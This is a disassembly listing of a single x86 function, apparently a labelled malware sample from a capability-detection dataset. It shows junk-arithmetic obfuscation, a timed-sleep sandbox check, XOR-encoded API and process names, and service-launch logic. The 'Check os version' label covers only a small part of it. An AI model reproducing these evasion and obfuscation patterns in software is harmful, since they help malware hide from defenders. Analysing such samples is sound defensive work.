Function at 0x41663c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x95
push 0
push 0
dec ecx
jne 0x416644
push ecx
push ebx
push esi
push edi
mov ebx, dword [0x42e0ac]
xor eax, eax
push ebp
push 0x41733a
push dword fs:[eax]
mov dword fs:[eax], esp
add dword [ebx], 0xe49b36a5
add dword [ebx], 0xc4e8be87
add dword [ebx], 0x24c784c3
or dword [ebx], 0x74e1bef3
xor dword [ebx], 0x97c76591
sub dword [ebx], 0xa182ff80
or dword [ebx], 0x48b767f3
sub dword [ebx], 0x10d5910
sub dword [ebx], 0xa7c64088
xor dword [ebx], 0x75043bd4
or dword [ebx], 0x7ebfd5c3
and dword [ebx], 0x48b2d085
add dword [ebx], 0x122a4a4c
add dword [ebx], 0xda2f4122
or dword [ebx], 0x94d930d3
add dword [ebx], 0xae43d07b
add dword [ebx], 0x30cba2b3
mov ecx, 0xb810f866
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x8e67f857
add dword [ebx], 0x3617e1c5
add dword [ebx], 0x1304e2ca
xor dword [ebx], 0x41578ca1
mov ecx, 0xa0bad1e2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xcf0d7bb9
add dword [ebx], 0xcd468c1c
xor dword [ebx], 0xa22b091c
sub dword [ebx], 0x7d3f8c88
or dword [ebx], 0x68fa17a3
add dword [ebx], 0xcc23de69
xor dword [ebx], 0xb844642c
or dword [ebx], 0xf46d9623
add dword [ebx], 0x4ab7d6bf
mov ecx, 0x9d3b95d6
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x4124fdbf
add dword [ebx], 0xdbf56103
mov ecx, 0x7fc94299
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x786353de
or dword [ebx], 0x99d6778b
add dword [ebx], 0x1b7cce20
add dword [ebx], 0xe381c4f6
or dword [ebx], 0x21837486
or dword [ebx], 0x50cd2053
mov ecx, 0x5ecabcc2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
xor dword [ebx], 0x28bdb784
add dword [ebx], 0x156f4495
or dword [ebx], 0xb943262b
add dword [ebx], 0xecced478
sub dword [ebx], 0x4abf96c8
add dword [ebx], 0xc07d6929
add dword [ebx], 0xe89da0
sub dword [ebx], 0xba200a60
add dword [ebx], 0x3b4adffa
add dword [ebx], 0x8be09b25
add dword [ebx], 0x36600422
add dword [ebx], 0xd987fb6
add dword [ebx], 0x26879e63
add dword [ebx], 0x8c80e4b8
mov ecx, 0xff59b137
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
or dword [ebx], 0x6df07b36
call sub.kernel32.dll_GetVersion
cmp eax, 0x80000000
jae 0x41730c
mov eax, 0x431854
mov ecx, 4
mov edx, dword [0x419a84]
call fcn.004056f0
mov eax, 0x431854
mov edx, 4
call fcn.0040d928
mov dword [0x419a84], 0x431854
mov eax, 0x4318a4
mov ecx, 0x14
mov edx, dword [0x419a88]
call fcn.004056f0
mov eax, 0x4318a4
mov edx, 0x14
call fcn.0040d928
mov dword [0x419a88], 0x4318a4
mov eax, 0x4318f4
mov ecx, 0x14
mov edx, dword [0x419a8c]
call fcn.004056f0
mov eax, 0x4318f4
mov edx, 0x14
call fcn.0040d928
mov dword [0x419a8c], 0x4318f4
mov eax, 0x431944
mov ecx, 0x3c
mov edx, dword [0x419a90]
call fcn.004056f0
mov eax, 0x431944
mov edx, 0x3c
call fcn.0040d928
mov dword [0x419a90], 0x431944
mov eax, 0x431994
mov ecx, 0x28
mov edx, dword [0x419a94]
call fcn.004056f0
mov eax, 0x431994
mov edx, 0x28
call fcn.0040d928
mov dword [0x419a94], 0x431994
mov eax, 0x431a34
mov ecx, 4
mov edx, dword [0x419a98]
call fcn.004056f0
mov eax, 0x4319e4
mov ecx, 0x50
mov edx, dword [0x419a9c]
call fcn.004056f0
mov eax, 0x4319e4
mov edx, 0x50
call fcn.0040d928
mov dword [0x419a9c], 0x4319e4
mov edx, 0x417348
lea eax, [ebp - 0x410]
call fcn.004067c0
mov edx, 0x41734c
lea eax, [ebp - 0x410]
call fcn.004067d8
mov edx, 0x417354
lea eax, [ebp - 0x410]
call fcn.004067d8
mov edx, 0x417358
lea eax, [ebp - 0x410]
call fcn.004067d8
lea eax, [ebp - 0x410]
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
mov edx, 0x41735c
lea eax, [ebp - 0x410]
call fcn.004067c0
mov edx, 0x417360
lea eax, [ebp - 0x410]
call fcn.004067d8
mov edx, 0x417364
lea eax, [ebp - 0x410]
call fcn.004067d8
lea eax, [ebp - 0x410]
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 8], eax
mov edx, 0x417368
lea eax, [ebp - 0x410]
call fcn.004067c0
mov edx, 0x41736c
lea eax, [ebp - 0x410]
call fcn.004067d8
mov edx, 0x417370
lea eax, [ebp - 0x410]
call fcn.004067d8
lea eax, [ebp - 0x410]
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 4], eax
call fcn.00406814
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8ec
mov edi, eax
push 0
push 0x1b58
call dword [ebp - 8]
call fcn.00406814
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8ec
mov esi, eax
sub esi, edi
cmp esi, 5
jl 0x41730c
call fcn.00414b0c
test al, al
jne 0x41730c
lea edx, [ebp - 0x414]
mov eax, 1
call fcn.00402f98
mov eax, dword [ebp - 0x414]
mov edx, 0x41737c
call fcn.004046f4
jne 0x416a7f
push 0xbb8
call sub.kernel32.dll_Sleep_1
call fcn.004142dc
call fcn.00410d4c
jmp 0x41730c
lea edx, [ebp - 0x418]
mov eax, 1
call fcn.00402f98
mov eax, dword [ebp - 0x418]
mov edx, 0x417388
call fcn.004046f4
jne 0x416ae1
push 1
lea edx, [ebp - 0x41c]
mov eax, 2
call fcn.00402f98
lea eax, [ebp - 0x41c]
mov edx, 0x417394
call fcn.00404598
mov eax, dword [ebp - 0x41c]
call fcn.0040475c
push eax
call dword [ebp - 4]
push 0x1770
call sub.kernel32.dll_Sleep_1
jmp 0x41730c
call fcn.00413b9c
test al, al
je 0x416af9
mov edx, 0x417398
mov eax, dword [0x419a84]
call fcn.004067c0
call fcn.00414ac4
test al, al
je 0x41705d
lea eax, [ebp - 0x410]
push eax
mov byte [ebp - 0x428], 0xb1
mov byte [ebp - 0x427], 0xb4
mov byte [ebp - 0x426], 0xa6
mov byte [ebp - 0x425], 0xb1
mov byte [ebp - 0x424], 0xa0
mov byte [ebp - 0x423], 0xb9
mov byte [ebp - 0x422], 0xe3
mov byte [ebp - 0x421], 0xe2
mov byte [ebp - 0x420], 0xfe
mov byte [ebp - 0x41f], 0xb4
mov byte [ebp - 0x41e], 0xbc
mov byte [ebp - 0x41d], 0xbc
lea eax, [ebp - 0x428]
mov cl, 0xd0
mov edx, 0xb
call fcn.004173d8
lea eax, [ebp - 0x410]
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
lea eax, [ebp - 0x410]
push eax
mov byte [ebp - 0x444], 0x83
mov byte [ebp - 0x443], 0xa4
mov byte [ebp - 0x442], 0xb1
mov byte [ebp - 0x441], 0xa2
mov byte [ebp - 0x440], 0xa4
mov byte [ebp - 0x43f], 0x83
mov byte [ebp - 0x43e], 0xb5
mov byte [ebp - 0x43d], 0xa2
mov byte [ebp - 0x43c], 0xa6
mov byte [ebp - 0x43b], 0xb9
mov byte [ebp - 0x43a], 0xb3
mov byte [ebp - 0x439], 0xb5
mov byte [ebp - 0x438], 0x93
mov byte [ebp - 0x437], 0xa4
mov byte [ebp - 0x436], 0xa2
mov byte [ebp - 0x435], 0xbc
mov byte [ebp - 0x434], 0x94
mov byte [ebp - 0x433], 0xb9
mov byte [ebp - 0x432], 0xa3
mov byte [ebp - 0x431], 0xa0
mov byte [ebp - 0x430], 0xb1
mov byte [ebp - 0x42f], 0xa4
mov byte [ebp - 0x42e], 0xb3
mov byte [ebp - 0x42d], 0xb8
mov byte [ebp - 0x42c], 0xb5
mov byte [ebp - 0x42b], 0xa2
mov byte [ebp - 0x42a], 0x91
lea eax, [ebp - 0x444]
mov cl, 0xd0
mov edx, 0x1a
call fcn.004173d8
lea eax, [ebp - 0x410]
push eax
push esi
call sub.kernel32.dll_GetProcAddress
mov edx, dword [0x419a8c]
mov dword [0x431a58], edx
mov dword [0x431a5c], 0x413938
xor edx, edx
mov dword [0x431a60], edx
xor edx, edx
mov dword [0x431a64], edx
push 0x431a58
call eax
call fcn.00406814
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8ec
mov edi, eax
add dword [ebx], 0x886425a3
add dword [ebx], 0x7769b148
xor dword [ebx], 0x93b956d2
add dword [ebx], 0xe891147d
add dword [ebx], 0x259bc217
xor dword [ebx], 0x70f878cc
add dword [ebx], 0xd57f3c30
mov ecx, 0x9b1aae1f
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x5de6a07f
mov ecx, 0x9a75cd1e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0xcc13777f
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xe502962c
add dword [ebx], 0x43d4d41f
xor dword [ebx], 0x93738d54
and dword [ebx], 0x7c49128d
add dword [ebx], 0xdd09546c
mov ecx, 0x50c39c8e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0xa06255c3
mov ecx, 0x22ea27fb
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
xor dword [ebx], 0x4c03cd5c
xor dword [ebx], 0x9c1e078c
and dword [ebx], 0x84f38cc5
mov ecx, 0xfa9bd8d3
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
xor dword [ebx], 0x683ba0dc
xor dword [ebx], 0x33101741
add dword [ebx], 0xc63df128
mov ecx, 0x983d6846
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x1f073cfe
add dword [ebx], 0x2a3bdc1
xor dword [ebx], 0xa5fc1e5c
add dword [ebx], 0x2c4a7219
add dword [ebx], 0xf16a630d
sub dword [ebx], 0x944742ad
add dword [ebx], 0x6290d36
mov ecx, 0x86c2db82
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x8e14f08a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
sub dword [ebx], 0x47c7de45
add dword [ebx], 0xfd38c980
xor dword [ebx], 0x8ba91fec
add dword [ebx], 0xa767be28
add dword [ebx], 0x5be7b20
or dword [ebx], 0xacdd5d40
add dword [ebx], 0xe7940c46
add dword [ebx], 0x9b927490
imul eax, dword [ebx], 0x6036e489
mov dword [ebx], eax
mov ecx, 0x6b4f7b16
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0x33ad878
add dword [ebx], 0x637f995c
add dword [ebx], 0x2a8d8e3c
and dword [ebx], 0x783e4385
sub dword [ebx], 0xb2797190
mov ecx, 0x4622cc72
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x513b62ff
imul eax, dword [ebx], 0xa4a09db9
mov dword [ebx], eax
add dword [ebx], 0x564b076f
add dword [ebx], 0x50421552
mov ecx, 0x9097c376
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x64853e80
add dword [ebx], 0x5c8e4877
xor dword [ebx], 0x67a6df04
or dword [ebx], 0xcc2da268
add dword [ebx], 0x5fd6fd4a
or dword [ebx], 0xa945b013
add dword [ebx], 0x853baf22
add dword [ebx], 0x28188ec2
add dword [ebx], 0x31bea25e
add dword [ebx], 0x14dfa226
push 1
call sub.kernel32.dll_Sleep_1
call fcn.00406814
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8ec
mov esi, eax
mov eax, esi
sub eax, edi
cdq
push edx
push eax
mov eax, dword [0x431a34]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x416ecf
cmp eax, dword [esp]
pop edx
pop eax
jae 0x416ca7
jmp 0x416ed7
pop edx
pop eax
jge 0x416ca7
lea edx, [ebp - 0x448]
xor eax, eax
call fcn.00402f98
mov eax, dword [ebp - 0x448]
call fcn.0040475c
push eax
lea eax, [ebp - 0x44c]
call fcn.00412268
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x450]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x450]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x44c]
call fcn.0040475c
mov edx, eax
pop eax
call fcn.0040fc48
lea eax, [ebp - 0x454]
call fcn.00412268
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x458]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x458]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x454]
call fcn.0040475c
call fcn.0040d884
lea eax, [ebp - 0x45c]
call fcn.00412268
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x460]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x460]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x45c]
call fcn.0040475c
push eax
lea eax, [ebp - 0x468]
call fcn.00412068
push dword [ebp - 0x468]
push 0x4173a4
push 0x4173b0
push 0x4173bc
push 0x4173c8
push 0x4173d4
lea eax, [ebp - 0x464]
mov edx, 6
call fcn.00404660
mov eax, dword [ebp - 0x464]
call fcn.0040475c
pop edx
call fcn.004144b0
call fcn.004124f4
lea edx, [ebp - 0x46c]
xor eax, eax
call fcn.00402f98
mov eax, dword [ebp - 0x46c]
push eax
lea eax, [ebp - 0x470]
call fcn.00412268
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x474]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x474]
pop eax
call fcn.00404598
mov edx, dword [ebp - 0x470]
pop eax
call fcn.0041247c
test al, al
jne 0x41730c
call fcn.00410d4c
jmp 0x41730c
lea edx, [ebp - 0x478]
xor eax, eax
call fcn.00402f98
mov eax, dword [ebp - 0x478]
push eax
lea eax, [ebp - 0x47c]
call fcn.00412268
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x480]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x480]
pop eax
call fcn.00404598
mov edx, dword [ebp - 0x47c]
pop eax
call fcn.0041247c
test al, al
jne 0x417277
call fcn.00406814
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8ec
mov edi, eax
push 1
call sub.kernel32.dll_Sleep_1
call fcn.00406814
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.0040d8ec
mov esi, eax
mov eax, esi
sub eax, edi
cdq
push edx
push eax
mov eax, dword [0x431a34]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x417104
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4170ca
jmp 0x417108
pop edx
pop eax
jge 0x4170ca
lea edx, [ebp - 0x484]
xor eax, eax
call fcn.00402f98
mov eax, dword [ebp - 0x484]
call fcn.0040475c
push eax
lea eax, [ebp - 0x488]
call fcn.00412268
lea eax, [ebp - 0x488]
push eax
lea eax, [ebp - 0x48c]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x48c]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x488]
call fcn.0040475c
mov edx, eax
pop eax
call fcn.0040fc48
lea eax, [ebp - 0x490]
call fcn.00412268
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x494]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x494]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x490]
call fcn.0040475c
call fcn.0040d884
lea eax, [ebp - 0x498]
call fcn.00412268
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x49c]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x49c]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x498]
call fcn.0040475c
push eax
lea eax, [ebp - 0x4a4]
call fcn.00412068
push dword [ebp - 0x4a4]
push 0x4173a4
push 0x4173b0
push 0x4173bc
push 0x4173c8
push 0x4173d4
lea eax, [ebp - 0x4a0]
mov edx, 6
call fcn.00404660
mov eax, dword [ebp - 0x4a0]
call fcn.0040475c
pop edx
call fcn.004144b0
call fcn.0040ea18
push 1
lea eax, [ebp - 0x4a8]
call fcn.00412268
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0x4ac]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x4ac]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x4a8]
call fcn.0040475c
push eax
call dword [ebp - 4]
call fcn.00410d4c
jmp 0x41730c
call fcn.00413b9c
test al, al
jne 0x4172fd
lea eax, [ebp - 0x410]
push eax
mov byte [ebp - 0x428], 0xb4
mov byte [ebp - 0x427], 0xa9
mov byte [ebp - 0x426], 0xa1
mov byte [ebp - 0x425], 0xbd
mov byte [ebp - 0x424], 0xbe
mov byte [ebp - 0x423], 0xa3
mov byte [ebp - 0x422], 0xb4
mov byte [ebp - 0x421], 0xa3
mov byte [ebp - 0x420], 0xff
mov byte [ebp - 0x41f], 0xb4
mov byte [ebp - 0x41e], 0xa9
mov byte [ebp - 0x41d], 0xb4
lea eax, [ebp - 0x428]
mov cl, 0xd1
mov edx, 0xb
call fcn.004173d8
lea edx, [ebp - 0x410]
mov eax, dword [0x419a94]
call fcn.004067c0
push 0x3e8
call sub.kernel32.dll_Sleep_1
call fcn.00414618
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417341
lea eax, [ebp - 0x4ac]
mov edx, 0x1a
call fcn.0040442c
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.0040442c
ret